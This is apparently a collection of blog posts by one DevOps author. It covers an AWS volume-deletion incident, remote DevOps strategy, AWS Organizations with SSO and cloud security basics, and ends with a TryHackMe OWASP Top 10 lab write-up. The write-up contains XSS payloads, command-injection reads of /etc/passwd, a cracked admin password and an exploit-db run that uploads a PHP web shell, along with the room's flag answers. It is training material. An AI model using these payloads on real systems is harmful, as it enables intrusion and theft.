print(f"⊘ Skipped {len(skipped_volumes)} protected volumes")
print(f"💰 Monthly savings: ~${round(total_size_gb * 0.11, 2)}")

return {'statusCode': 200, 'body': json.dumps(summary, default=str)}

Let’s confirm our new Rancher volume has Kubernetes tags:

aws ec2 describe-volumes --volume-ids vol-05c365c66b6c1fed0 \
  --region eu-west-1 --query 'Volumes[0].Tags'

Example tags you’ll typically see:

kubernetes.io/created-for/pvc/namespace: cattle-system
kubernetes.io/created-for/pvc/name: rancher-pvc
kubernetes.io/created-for/pv/name: pvc-e4849291-fdc3-4a07-a8b9-e14fa93dbbd1
ebs.csi.aws.com/cluster: true

Perfect — our updated Lambda will now skip these volumes.

📊 The Timeline: How Fast Can You Recover?

00:00 — Lambda deletes the volume (while we’re sleeping)

01:00 — Velero backup runs (thank God for automation!)

04:40 — Issue discovered (502 errors everywhere)

04:48 — Velero restore initiated

04:55 — Restore completed, new volume created

04:58 — Rancher fully operational (1/1 Ready)

05:04 — Lambda function patched with protection rules

05:06 — Incident documentation completed

Total downtime: ~5 hours (mostly unnoticed)
Active recovery time: ~20 minutes
Lessons learned: priceless

💡 Key Takeaways (The Real Gist)
1) Backups Are Your Best Friend

Without Velero backups, this would have been a “start updating your CV” moment.

Action: Set up automated backups TODAY. Test restores regularly.

2) Automation Without Guardrails Is Dangerous

Our Lambda did exactly what we told it to do. We forgot to tell it what NOT to do.

Action: Add explicit exclusion rules + dry runs + approvals for destructive actions.

3) Tag Everything Like Your Job Depends On It

Use Kubernetes tags, and add your own:

critical=true

environment=production

managed-by=kubernetes

backup=daily

Action: Enforce tagging via AWS Config / SCPs / policy-as-code.

4) Test Your Disaster Recovery Plan

We got lucky. Don’t rely on luck.

Action: Run quarterly DR drills. Restore to a test environment. Time it.

5) Monitor Everything

We could’ve caught this earlier.

Action: Alert on:

PV attach failures

Pods stuck in ContainerCreating > 5 minutes

Lambda deletion logs

Backup failures

6) Document Your Incidents

This post exists because we documented during recovery.

Action: Create incident templates + runbooks.

🎯 Your Action Plan (Start Today!)

Audit your cleanup scripts: what can they delete accidentally?

Install Velero (or any backup tool) and schedule automated backups.

Test restore procedures (don’t just “have backups”, verify them).

Enforce tagging for critical/prod resources.

Add monitoring for K8s storage + automation jobs.

Document runbooks and incident learnings.

🤔 Discussion: What Would You Do?

Have you had an “automation gone wrong” moment? How did you handle it? What guardrails do you use?

Drop your stories in the comments 👇

📚 Resources

Velero Documentation: https://velero.io/docs/

Kubernetes Persistent Volumes: https://kubernetes.io/docs/concepts/storage/persistent-volumes/

AWS EC2 Tagging: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html

AWS Lambda Best Practices: https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html

Remember: The best disaster recovery plan is the one you’ve tested. The second best is the one you have. The worst is the one you wish you had.

Stay safe out there, and may your volumes never be accidentally deleted! 🙏

P.S. If this saved you from a similar disaster, share it with your team, prevention is better than cure.

Revolutionary Remote DevOps: A C-Level Blueprint for Digital Transformation Excellence

Frank Osasere Idugboe — Sat, 18 Jan 2025 08:09:28 +0000

Unlocking DevOps Excellence in a Remote World: A Comprehensive Guide for C-Level Executives

The landscape of software development and operations has undergone a seismic shift with the widespread adoption of remote work. As a DevOps engineer with over seven years of experience in cloud platforms, CI/CD tools, and containerization technologies, I've witnessed this transformation firsthand. Currently serving as a DevOps Engineer at OxygenX, and drawing from my experience building products at Yebox Technologies, working as a Cloud Engineer at Colarroid Creations, and contributing to AWS Community Builders, I'll share how organizations can adapt their DevOps practices to thrive in a remote-first world. With my upcoming Master's in Forensic Science with a cybersecurity focus beginning in March, I bring both practical experience and a commitment to continued learning in this rapidly evolving field.

The New Reality: DevOps in a Distributed World

The convergence of DevOps practices and remote work has created a paradigm shift in how organizations approach software development and operations. Through my roles at OxygenX, Yebox Technologies, and Colarroid Creations, I've seen that this transformation isn't just about adapting existing processes – it's about reimagining collaboration, innovation, and value delivery in a distributed environment.

The Remote DevOps Advantage

Through my experience working with distributed teams across multiple organizations, I've observed several distinct benefits:

Expanded talent pools unrestricted by geographical boundaries. At AWS Community Builders and through my work at OxygenX, I've collaborated with exceptional professionals worldwide, proving that talent knows no borders.
Reduced operational costs through optimized resource allocation. At Colarroid Creations, I implemented cloud optimization strategies that significantly reduced infrastructure costs while maintaining performance, and further refined these approaches at OxygenX.
Increased productivity through asynchronous workflows. My experience managing content for Slum2SchoolAfrica taught me how asynchronous communication can enhance efficiency across time zones, a practice I've successfully implemented at OxygenX.
Enhanced work-life balance leading to better retention rates. Across my roles at Yebox, Colarroid Creations, and OxygenX, I've seen how remote work flexibility contributes to team satisfaction and longevity.

Building a Remote-First DevOps Culture

Leadership in the Virtual Space

Drawing from my mentoring experience with Junior Achievement Nigeria and current leadership responsibilities at OxygenX:

Championing a culture of trust and autonomy while maintaining accountability through clear metrics and expectations
Establishing clear communication channels and expectations across distributed teams
Implementing outcome-based performance metrics that focus on value delivery
Fostering an environment where remote collaboration is the default, not an exception

Tools and Infrastructure

Based on my hands-on experience across multiple organizations:

Robust CI/CD pipelines: At OxygenX, I've implemented advanced pipelines using Jenkins and GitHub Actions, building on my experience from Yebox Technologies.
Collaborative development environments (CDEs): At Colarroid Creations, I established environments that enable seamless cooperation across distributed teams.
Infrastructure as Code (IaC): Implemented comprehensive IaC solutions at both OxygenX and Colarroid Creations for consistent environments across all deployments.
Automated monitoring and alerting systems: Developed real-time visibility solutions that have been crucial for remote team success.

Securing the Remote DevOps Pipeline

Zero-Trust Architecture

Drawing from my cybersecurity experience across multiple organizations:

Implement comprehensive identity and access management systems: At OxygenX, I've implemented robust IAM policies that strengthen security without hampering productivity.
Utilize secure VPNs and encrypted communications: Established secure remote access protocols at Colarroid Creations that became the foundation for future implementations.
Deploy multi-factor authentication: Implemented organization-wide MFA at Yebox Technologies and enhanced these protocols at OxygenX.
Conduct regular security audits: Established automated security scanning pipelines across all environments.

Compliance and Governance

Based on my experience implementing security measures across different organizations:

Automate compliance checks in the CI/CD pipeline
Maintain clear documentation of security policies and procedures
Provide regular training and updates on security best practices
Implement robust audit trails for all system access and changes

Fostering Agile Collaboration

Through my roles at OxygenX, Colarroid Creations, and Yebox Technologies:

Asynchronous Communication Strategies

Documentation-First Approach: At OxygenX, I've implemented a comprehensive documentation system that enables teams across time zones to stay aligned without constant meetings, reducing meeting fatigue while improving knowledge retention.
Structured Async Stand-ups: At Colarroid Creations, I introduced a system where team members post daily updates in a shared channel, increasing productivity by 30% through reduced interruptions.
Clear Escalation Paths: At Yebox Technologies, I established tiered response protocols for critical issues, ensuring problems get addressed efficiently regardless of time zones.

Team Dynamics and Innovation

Drawing from my AWS Community Builders experience and current role:

Virtual Innovation Sprints: At OxygenX, I organize regular virtual hackathons that have resulted in several innovative solutions, including a new automated deployment pipeline that reduced deployment time by 60%.
Cross-Functional Collaboration: Implemented platforms at Colarroid Creations that enabled designers, developers, and operations teams to collaborate seamlessly.

Resource Optimization and Cost Management

Infrastructure Optimization

My cloud expertise across organizations has helped achieve significant cost savings:

Cloud Resource Management: At OxygenX, I've implemented automated scaling policies that reduced cloud costs by 45% while maintaining performance.
Usage Pattern Analysis: Through my work at Colarroid Creations, I developed a methodology for analyzing usage patterns that helps organizations optimize their infrastructure spend.

Team Productivity

Drawing from my seven years of experience:

Time Zone Coordination: Created efficient workflow systems at OxygenX that maximized productivity across different time zones, increasing overall team output by 25%.
Automation Implementation: Implemented comprehensive automation strategies at Colarroid Creations that significantly reduced manual intervention in routine tasks.

Measuring Success in Remote DevOps

Key Performance Indicators

Based on my experience building products from scratch:

Deployment Metrics: At OxygenX, tracked deployment frequency and success rates, achieving a 99.9% success rate through automated testing and verification.
Recovery Time: Through implementing robust monitoring systems at Colarroid Creations, reduced Mean Time to Recovery (MTTR) from hours to minutes.
Team Satisfaction: Regular surveys and feedback sessions at Yebox Technologies helped maintain a 90% team satisfaction rate despite remote challenges.

Implementation Roadmap

Drawing from my successful DevOps implementations across multiple organizations:

Phase 1: Assessment (Weeks 1-4)

Current DevOps maturity evaluation
Team capabilities and gaps analysis
Technical debt assessment
Security posture review

Phase 2: Foundation Building (Weeks 5-12)

Tool selection and implementation
Security framework establishment
Monitoring system setup
Initial automation implementation

Phase 3: Scaling and Optimization (Weeks 13-24)

Process refinement
Team training and development
Automation expansion
Performance optimization

Case Studies

OxygenX Transformation

In my current role:

Implemented advanced CI/CD pipelines
Enhanced security protocols
Optimized cloud resource utilization
Improved team collaboration processes

Yebox Technologies Success Story

During my tenure:

Reduced deployment time from 2 hours to 15 minutes
Improved system uptime to 99.95%
Decreased infrastructure costs by 40%
Automated 80% of routine tasks

Colarroid Creations Cloud Infrastructure

During my tenure as Cloud Engineer:

Reduced cloud costs by 45%
Implemented robust security measures
Enhanced system scalability
Improved deployment efficiency

ROI and Budget Considerations

Based on my experience optimizing DevOps investments across organizations:

Strategic Investment Areas

Infrastructure and Security (35%)
Automation and Tools (30%)
Team Development (20%)
Innovation and Research (15%)

Expected Returns

From my implementations across different organizations:

30-40% reduction in deployment costs
50-60% improvement in deployment frequency
40-50% reduction in security incidents
25-35% increase in team productivity

Change Management

My experience leading teams across multiple organizations has taught me effective change management strategies:

Stakeholder Engagement

Regular updates and demonstrations
Clear metrics and success stories
Transparent communication about challenges
Inclusive decision-making processes

Training and Development

Customized learning paths
Peer programming sessions
Knowledge sharing platforms
Regular skill assessments

Future Trends

Based on my experience and ongoing professional development:

AI and DevOps Integration

AI-powered code review systems currently implementing at OxygenX
Automated security threat detection
Predictive scaling mechanisms
Intelligent monitoring systems

Edge Computing Evolution

Distributed deployment strategies
Edge security implementations
Real-time processing optimization
IoT device management

Industry-Specific Considerations

Through my varied experience across organizations:

Financial Services

Enhanced security protocols
Compliance automation
Zero-downtime deployments
Transaction monitoring systems

Healthcare

HIPAA compliance automation
Patient data protection
Audit trail implementation
Emergency response systems

Implementation Checklist for C-Level Executives

Based on my experience implementing DevOps transformations:

Strategic Planning

Assess current DevOps maturity
Define clear objectives and metrics
Establish budget and resource allocation
Create stakeholder communication plan

Technical Foundation

Evaluate and select tool stack based on team needs
Implement comprehensive security measures
Set up monitoring and observability
Establish automation frameworks

Team Development

Define remote work policies that promote flexibility
Implement training programs for continuous learning
Establish clear communication protocols
Create career development paths

Execution and Monitoring

Launch pilot programs to test processes
Monitor key metrics for success
Gather and act on team feedback
Scale successful practices across the organization

Final Thoughts: The Future of Remote DevOps

Having worked with various organizations and contributed to numerous DevOps initiatives, I've seen how the evolution of remote DevOps continues to accelerate. Through my experience at OxygenX, Colarroid Creations, and Yebox Technologies, combined with my upcoming studies in forensic science and cybersecurity, I'm convinced that organizations embracing these changes will be better positioned to:

Attract and retain top talent globally
Respond rapidly to market changes with agile practices
Maintain competitive advantage through innovative solutions
Drive sustainable growth through efficient operations

Conclusion

Excellence in remote DevOps is achievable with the right combination of leadership, tools, processes, and culture. Through my journey across multiple organizations and roles, I've seen organizations thrive by embracing these changes. The key lies in viewing remote DevOps not as a temporary adaptation but as a strategic advantage that enables organizations to build more resilient, efficient, and innovative technology operations.

For C-level executives, the journey to remote DevOps excellence requires careful planning, strategic investment, and ongoing commitment to adaptation and improvement. The rewards – including increased efficiency, broader talent access, and improved work-life balance for teams – make this transformation essential for modern organizations. As someone deeply immersed in this field, I can attest that the opportunities for growth and success are limitless when approached with the right strategy and mindset.

Mastering Multi-Account Management: Step-by-Step Guide to Setting Up AWS Organizations with SSO

Frank Osasere Idugboe — Fri, 17 Jan 2025 13:59:35 +0000

AWS Organizations is a powerful service that allows businesses and organizations to manage multiple AWS accounts under a single umbrella. By centralizing account management, organizations can streamline operations, enhance security, and simplify billing. One of the best practices when using AWS Organizations is to establish a multi-account AWS environment with Single Sign-On (SSO) for seamless and secure access to all accounts. This guide provides a step-by-step approach to achieve this setup.

Benefits of a Multi-Account AWS Environment with SSO

1.Centralized Management: Simplify account management, including billing and security policies.
2.Improved Security: Isolate workloads and resources to minimize the blast radius in case of a breach.
3.Scalability: Easily add and manage accounts for new teams, projects, or departments.
4.Streamlined Access: Use SSO to allow users to securely access multiple accounts without managing separate credentials.

Steps to Set Up a Multi-Account AWS Environment with SSO

Step 1: Sign in to the AWS Management Console

Log in as the root user of the AWS management account. The management account is the primary account that governs your organization.

Step 2: Navigate to the Organizations Page

Click on your account name in the top-right corner of the console.
Select "Support", then choose "Organizations" from the dropdown menu.

Step 3: Create an Organization

a. On the Organizations page, click "Create organization".

b. Select the type of organization to create:

With an existing management account: Use the current account as the management account.
With a new management account: Provide details such as an email address and phone number for the root user of the new management account.

c. Click "Create organization" to complete this step.

Creating and Adding AWS Accounts

Step 4: Add New AWS Accounts

a. Navigate to the Accounts tab in the Organizations console.

b. Click "Add account" and provide the following details:

Email address: Unique for each account.
Account name: Reflects the purpose of the account (e.g., "Development", "Marketing").
Role name: Define an IAM role that grants permissions to manage the account.

c. Click "Create account" to finalize.

Step 5: Repeat Account Creation for Other Teams or Departments

For each additional team or department requiring a separate AWS account, repeat the process to ensure resources are properly segmented.

Adding Existing Accounts to the Organization

Step 6: Invite Accounts

a. Navigate to the Accounts tab in the Organizations console.

b. Click "Invite accounts" and enter the email addresses of the accounts you want to add.

c. Assign a role for managing the accounts within the organization.

d. Click "Send invitation".

Step 7: Accept Invitations

Users of the invited accounts must log in and accept the invitations. Once accepted, the accounts will appear in your organization.

Setting Up AWS Single Sign-On (SSO)

Step 8: Enable AWS SSO

a. Go to the AWS SSO Console.

b. Click "Enable AWS Single Sign-On" to activate the service for your organization.

Step 9: Configure an Identity Source

a. Choose the directory to store user and group information:

AWS SSO directory: Manage users directly in AWS SSO.
External identity providers: Integrate with services like Microsoft Active Directory, Okta, or Google Workspace.

b. Complete the setup based on your chosen identity source.

Granting Access to AWS Accounts

Step 10: Assign Accounts to Users and Groups

a. In the AWS SSO Console, navigate to the "AWS Accounts" section.

b. Select the accounts that require access.

c. Assign users and groups from your identity source to the accounts.

Step 11: Configure Permissions

a. Use permission sets to define the level of access for each user or group.

b. Apply predefined AWS-managed policies or create custom policies tailored to your organization’s needs.

c. Assign the appropriate permission sets to users and groups.

Implementing Role-Based Access Control (RBAC)

Step 12: Define Roles and Permissions

a. Analyze user requirements and group them by roles (e.g., developer, admin).

b. Use AWS IAM policies to define access scopes based on roles.

c. Attach these policies to the permission sets in AWS SSO.

Step 13: Test Access Control

a. Simulate user logins to verify they have appropriate access.

b. Adjust permissions as needed to align with organizational policies.

Final Steps and Best Practices

Step 14: Monitor and Audit

a. Use AWS CloudTrail to log activity across accounts.

b. Regularly review access logs to ensure compliance with security policies.

Step 15: Enforce Service Control Policies (SCPs)

a. Use SCPs to define what actions can or cannot be performed within the organization.

b. For example, restrict access to certain AWS regions or services for specific accounts.

Step 16: Automate Account Provisioning
Consider using AWS Control Tower for streamlined account creation and governance.

Conclusion

By following these steps, you can set up a multi-account AWS environment with SSO using AWS Organizations. This configuration ensures secure and efficient management of resources across accounts while providing users with a seamless authentication experience. Regularly revisit your setup to incorporate new best practices and features released by AWS.

The Intersection of DevOps, AWS, and Cloud Security: Best Practices for a Secure Environment

Frank Osasere Idugboe — Mon, 25 Mar 2024 08:59:23 +0000

As a DevOps engineer, I have come to learn the importance of cloud security in my line of work. With the rise of cloud computing, it has become essential to have a secure environment to protect sensitive data, and this is where DevOps, AWS, and cloud security intersect. In this article, I will explain what DevOps is and how it intersects with AWS and cloud security. I will also discuss the importance of cloud security, best practices for cloud security, how DevOps and AWS can help with cloud security, the impact of cloud security on your career in DevOps and AWS, courses and certifications for DevOps, AWS, and cloud security, tools for DevOps, AWS, and cloud security, and finally, the future of DevOps, AWS, and cloud security.

Introduction to DevOps, AWS, and Cloud Security

DevOps is a software development approach that emphasises collaboration and communication between development and operations teams. The goal of DevOps is to create a culture of collaboration, integration, and automation, which helps teams to deliver software faster and more reliably. AWS, on the other hand, is a cloud computing platform that provides a wide range of services, including computing, storage, and databases, among others. It is a popular choice for businesses looking to move their applications to the cloud. Cloud security, on the other hand, refers to the set of policies, controls, and technologies that are put in place to protect cloud-based systems, data, and infrastructure.

What is DevOps and how does it intersect with AWS and Cloud Security?

DevOps is all about collaboration, integration, and automation. It brings together the development and operations teams to work together in a seamless manner. AWS provides a wide range of services that can be used to support DevOps, including compute, storage, and databases. AWS can be used to automate the deployment and management of applications, which is a key aspect of DevOps. Cloud security is an important consideration when using AWS, as the cloud platform can be vulnerable to security breaches. DevOps can help to improve cloud security by integrating security into the application development process.

Understanding the Importance of Cloud Security

Cloud security is essential in today's environment, as more and more businesses move their applications to the cloud. Cloud security is important because it helps to protect sensitive data from breaches and unauthorised access. Cloud security also helps to ensure that cloud-based systems are available and reliable. Breaches can cause significant damage to businesses, including financial losses and damage to reputation. It is essential to have a comprehensive cloud security strategy in place to protect against these threats.

Best Practices for Cloud Security

There are several best practices that can be used to ensure cloud security. These include:

Implementing a comprehensive security policy: A security policy should be in place to guide the implementation of security controls and procedures.
Implementing access controls: Access controls should be put in place to ensure that only authorised users can access cloud-based systems.
Implementing encryption: Encryption should be used to protect sensitive data from unauthorised access.
Regularly monitoring and auditing cloud-based systems: Regular monitoring and auditing can help to identify security issues before they become serious problems.
Regularly updating software: Regularly updating software can help to ensure that systems are protected against known vulnerabilities.

How DevOps and AWS can help with Cloud Security

DevOps and AWS can help to improve cloud security by integrating security into the application development process. DevOps can help to identify security issues early on in the development process, which can help to prevent security breaches. AWS provides a wide range of security services, including identity and access management, network security, and encryption, among others. These services can be used to enhance cloud security and ensure that cloud-based systems are protected against threats.

The Impact of Cloud Security on Your Career in DevOps and AWS

Cloud security is becoming increasingly important in the world of DevOps and AWS. As a DevOps engineer, having a solid understanding of cloud security can help to set you apart from other engineers. Understanding cloud security can also help you to identify potential security issues and implement solutions to address them. Cloud security certifications can help to demonstrate your knowledge and expertise in this area and can help to advance your career in DevOps and AWS.

Courses and Certifications for DevOps, AWS, and Cloud Security
There are several courses and certifications available for DevOps, AWS, and cloud security. These include:

AWS Certified DevOps Engineer: This certification validates your understanding of DevOps practices and how they can be implemented using AWS services.
Certified Cloud Security Professional (CCSP): This certification validates your knowledge of cloud security best practices and how they can be applied to different cloud platforms.

DevOps Foundation Certification: This certification validates your understanding of DevOps practices and principles.

Tools for DevOps, AWS, and Cloud Security

There are several tools available for DevOps, AWS, and cloud security. These include:

AWS CloudFormation: This tool can be used to automate the deployment and management of AWS resources.
AWS Config: This tool can be used to monitor and manage AWS resources.
AWS Identity and Access Management (IAM): This tool can be used to manage access to AWS resources.
DevOps, AWS, and Cloud Security Services
There are several services available for DevOps, AWS, and cloud security. These include:

AWS Security Hub: This service provides a centralized view of security alerts and compliance status across AWS accounts.
AWS Shield: This service provides protection against DDoS attacks.
AWS WAF: This service provides protection against web-based attacks.

Conclusion

DevOps, AWS, and cloud security are all interconnected. DevOps can help to improve cloud security by integrating security into the application development process. AWS provides a wide range of security services that can be used to enhance cloud security. Cloud security is becoming increasingly important in the world of DevOps and AWS, and having a solid understanding of cloud security can help to advance your career in this field. There are several courses, certifications, tools, and services available for DevOps, AWS, and cloud security, and it is essential to stay up-to-date with the latest developments in this area.

OWASP Top 10 - Write-up - TryHackMe

Frank Osasere Idugboe — Wed, 25 Oct 2023 11:28:37 +0000

Information
Room
Name: OWASP Top 10
Profile: tryhackme.com
Difficulty: Easy
Description: Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks.
OWASP Top 10

Write-up
Overview
Install tools used in this WU on BlackArch Linux:
1
$ sudo pacman -S exploitdb dbeaver python

Command Injection Practical#
What strange text file is in the website root directory?

Answer: drpepper.txt

Issue the ls command to list files.

css drpepper.txt evilshell.php index.php js
How many non-root/non-service/non-daemon users are there?

Answer: 0

Issue the cat /etc/passwd command, it seems there is no non-root/non-service/non-daemon users.

1.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2.bin:x:2:2:bin:/bin:/usr/sbin/nologin
3.sys:x:3:3:sys:/dev:/usr/sbin/nologin
4.sync:x:4:65534:sync:/bin:/bin/sync
5.games:x:5:60:games:/usr/games:/usr/sbin/nologin
6.man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
7.lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
8.mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
9.news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
10.uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
11.proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
12.www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
13.backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
14.list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
15.irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
16.gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin                 
17.nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
18.systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
19.systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
20.syslog:x:102:106::/home/syslog:/usr/sbin/nologin
21.messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
22._apt:x:104:65534::/nonexistent:/usr/sbin/nologin
23.lxd:x:105:65534::/var/lib/lxd/:/bin/false
24.uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
25.dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
26.landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
27.pollinate:x:109:1::/var/cache/pollinate:/bin/false
28.sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

What user is this app running as?

Answer: www-data

Issue the id command.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
What is the user's shell set as?

Answer: /usr/sbin/nologin

echo $SHELL returns nothing, so let's try cat /etc/passwd | grep www-data | cut -d ':' -f 7.

/usr/sbin/nologin

What version of Ubuntu is running?

Answer: 18.04.4

Run cat /etc/os-release.

1.VERSION="18.04.4 LTS (Bionic Beaver)"
2.ID=ubuntu
3.ID_LIKE=debian
4.PRETTY_NAME="Ubuntu 18.04.4 LTS"
5.VERSION_ID="18.04"
6.HOME_URL="https://www.ubuntu.com/"
7.SUPPORT_URL="https://help.ubuntu.com/"
8.BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
9.PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
10.VERSION_CODENAME=bionic
11.UBUNTU_CODENAME=bionic

Print out the MOTD. What favorite beverage is shown?

Answer: Dr pepper

1.$ ls -1 /etc/update-motd.d/
2.10-help-text
3.50-landscape-sysinfo
4.50-motd-news
5.80-esm
6.80-livepatch
7.90-updates-available
8.91-release-upgrade
9.92-unattended-upgrades
10.95-hwe-eol
11.97-overlayroot
12.98-fsck-at-reboot
13.98-reboot-required
14.
15.$ cat /etc/update-motd.d/00-header
16.#
17.#    00-header - create the header of the MOTD
18.#    Copyright (C) 2009-2010 Canonical Ltd.
19.#
20.#    Authors: Dustin Kirkland <kirkland@canonical.com>
21.#
22.#    This program is free software; you can redistribute it and/or modify
23.#    it under the terms of the GNU General Public License as published by
24.#    the Free Software Foundation; either version 2 of the License, or
25.#    (at your option) any later version.
26.#
27.#    This program is distributed in the hope that it will be useful,
28.#    but WITHOUT ANY WARRANTY; without even the implied warranty of
29.#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
30.#    GNU General Public License for more details.
31.#
32.#    You should have received a copy of the GNU General Public License along
33.#    with this program; if not, write to the Free Software Foundation, Inc.,
34.#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
35.
36.[ -r /etc/lsb-release ] && . /etc/lsb-release
37.
38.if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
39. # Fall back to using the very slow lsb_release utility
40. DISTRIB_DESCRIPTION=$(lsb_release -s -d)
41.fi
42.
43.printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
44.
45.DR PEPPER MAKES THE WORLD TASTE BETTER!

Broken Authentication Practical

What is the flag that you found in darren's account?

Answer: fe86079416a21a3c99937fea8874b667

What is the flag that you found in arthur's account?

Answer: d9ac0f7db4fda460ac3edeb75d75e16e

Sensitive Data Exposure (Challenge)

Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory.

What is the name of the mentioned directory?

Answer: /assets

Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?

Answer: webapp.db

Use the supporting material to access the sensitive data. What is the password hash of the admin user?

Answer: 6eea9b7ef19179a06954edd0f6c05ceb

Open the DB with dbeaver.

Crack the hash. What is the admin's plaintext password?

Answer: qwertyuiop

Crack the password with crackstation.
Login as the admin. What is the flag?

Answer: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

XML External Entity - eXtensible Markup Language

Full form of XML

Answer: eXtensible Markup Language

Is it compulsory to have XML prolog in XML documents?

Answer: yes

Can we validate XML documents against a schema?

Answer: yes

How can we specify XML version and encoding in XML document?

Answer: XML Prolog

XML External Entity - DTD

How do you define a new ELEMENT?

Answer:!ELEMENT

How do you define a ROOT element?

Answer:!DOCTYPE

How do you define a new ENTITY?

Answer:!ENTITY

XML External Entity - Exploiting

What is the name of the user in /etc/passwd

Answer: falcon

Where is falcon's SSH key located?

Answer: /home/falcon/.ssh/id_rsa

What are the first 18 characters for falcon's private key

Answer: MIIEogIBAAKCAQEA7b

Broken Access Control (IDOR Challenge)

Look at other users notes. What is the flag?

http://10.10.125.211/note.php?note=0

Answer: flag{fivefourthree}

Security Misconfiguration

Hack into the webapp, and find the flag!

Answer: thm{4b9513968fd564a87b28aa1f9d672e17}

Cross-site Scripting

Go to http://10.10.93.135/reflected and craft a reflected XSS payload that will cause a popup saying "Hello".

Answer: ThereIsMoreToXSSThanYouThink

<script>alert("Hello")</script>

On the same reflective page, craft a reflected XSS payload that will cause a popup with your machine's IP address.

<script>alert(window.location.hostname)</script>

Answer: ReflectiveXss4TheWin

Now navigate to http://10.10.93.135/stored and make an account.

Then add a comment and see if you can insert some of your own HTML.

<b>noraj is bold</b>

Answer: HTML_T4gs

On the same page, create an alert popup box to appear on the page with your document cookies.

<script>alert(document.cookies)</script>

Answer: W3LL_D0N3_LVL2s

Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

<script>document.querySelector("#thm-title").textContent = "I am a hacker"</script>

Answer: websites_can_be_easily_defaced_with_xss

Insecure Deserialization

Who developed the Tomcat application?

Answer: The Apache Software Foundation

What type of attack that crashes services can be performed with insecure deserialization?

Answer: denial of service

Insecure Deserialization - Objects

Select the correct term for the following statement:

Answer: A Behaviour

Insecure Deserialization - Deserialization

What is the name of the base-2 formatting that data is sent across a network as?

Answer: binary

Insecure Deserialization - Cookies

If a cookie had the path of webapp.com/login, what would the URL that the user has to visit be?

Answer: webapp.com/login

What is the acronym for the web technology that Secure cookies work over?

Answer: HTTPS

Insecure Deserialization - Cookies Practical

1st flag (cookie value)

Answer: THM{good_old_base64_huh}

1.$ printf %s 'gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAYzdkYzQ0ODM4ZTA4NDdiMWI0NTU0NDk0OGE5MmQxOTRxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==' | base64 -d
2.}q(X    sessionIdqX c7dc44838e0847b1b45544948a92d194qX
                                                      3.encodedflagqXTHM{good_old_base64_huh}qu.

2nd flag (admin dashboard)

Answer: THM{heres_the_admin_flag}

Insecure Deserialization - Remote Code Execution
flag.txt

Answer: 4a69a7ff9fd68

Components With Known Vulnerabilities - Lab

How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)

Answer: 1611

1.$ searchsploit CSE bookstore
2.------------------------------------------------------------------------------------ ---------------------------------
3. Exploit Title                                                                      |  Path
4.------------------------------------------------------------------------------------ ---------------------------------
5.CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting                      | php/webapps/48973.txt
6.CSE Bookstore 1.0 - Authentication Bypass                                           | php/webapps/48960.txt
7.------------------------------------------------------------------------------------ ---------------------------------
8.Shellcodes: No Results
9.
10.$ searchsploit online book store
11.------------------------------------------------------------------------------------ ---------------------------------
12. Exploit Title                                                                      |  Path
13.------------------------------------------------------------------------------------ ---------------------------------
14.GotoCode Online Bookstore - Multiple Vulnerabilities                                | asp/webapps/17921.txt
15.Online Book Store 1.0 - 'bookisbn' SQL Injection                                    | php/webapps/47922.txt
16.Online Book Store 1.0 - 'id' SQL Injection                                          | php/webapps/48775.txt
17.Online Book Store 1.0 - Arbitrary File Upload                                       | php/webapps/47928.txt
18.Online Book Store 1.0 - Unauthenticated Remote Code Execution                       | php/webapps/47887.py
19.------------------------------------------------------------------------------------ ---------------------------------
20.Shellcodes: No Results
21.
22.$ searchsploit -p 47887
23.  Exploit: Online Book Store 1.0 - Unauthenticated Remote Code Execution
24.    URL: https://www.exploit-db.com/exploits/47887
25.     Path: /usr/share/exploitdb/exploits/php/webapps/47887.py
26.File Type: ASCII text, with CRLF line terminators
27.
28.$ python /usr/share/exploitdb/exploits/php/webapps/47887.py http://10.10.74.65
29.> Attempting to upload PHP web shell...
30.> Verifying shell upload...
31.> Web shell uploaded to http://10.10.74.65/bootstrap/img/P82Exx96Uv.php
32.> Example command usage: http://10.10.74.65/bootstrap/img/P82Exx96Uv.php?cmd=whoami
33.> Do you wish to launch a shell here? (y/n): y
34.RCE $ wc -c /etc/passwd
35.1611 /etc/passwd

